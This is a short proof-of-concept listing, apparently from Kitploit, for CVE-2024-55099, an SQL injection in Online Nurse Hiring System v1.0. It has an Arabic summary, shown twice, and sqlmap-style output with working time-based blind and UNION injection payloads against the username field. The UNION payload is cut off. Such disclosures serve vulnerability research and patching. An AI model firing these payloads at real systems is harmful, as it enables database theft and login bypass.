CVE-2024-55099-Online-Nurse-Hiring-System-v1.0-SQL-Injection-Vulnerability- — دليل إثبات المفهوم لثغرة CVE-2024-55099، توضح حقن SQL في نظام توظيف الممرضات عبر الإنترنت الإصدار 1.0 عبر معلمة اسم المستخدم غير المنقاة، مما يتيح تعداد قاعدة البيانات وتجاوز المصادقة. | Kitploit

CVE-2024-55099-Online-Nurse-Hiring-System-v1.0-SQL-Injection-Vulnerability- — دليل إثبات المفهوم لثغرة CVE-2024-55099، توضح حقن SQL في نظام توظيف الممرضات عبر الإنترنت الإصدار 1.0 عبر معلمة اسم المستخدم غير المنقاة، مما يتيح تعداد قاعدة البيانات وتجاوز المصادقة. | Kitploit

---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 3898 FROM (SELECT(SLEEP(5)))CrDy) AND 'rbGV'='rbGV&inputpwd=test&login=

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=-6075' UNION ALL SELECT 68,CONCAT(0x7176706a71,0x7168445671545a434e
---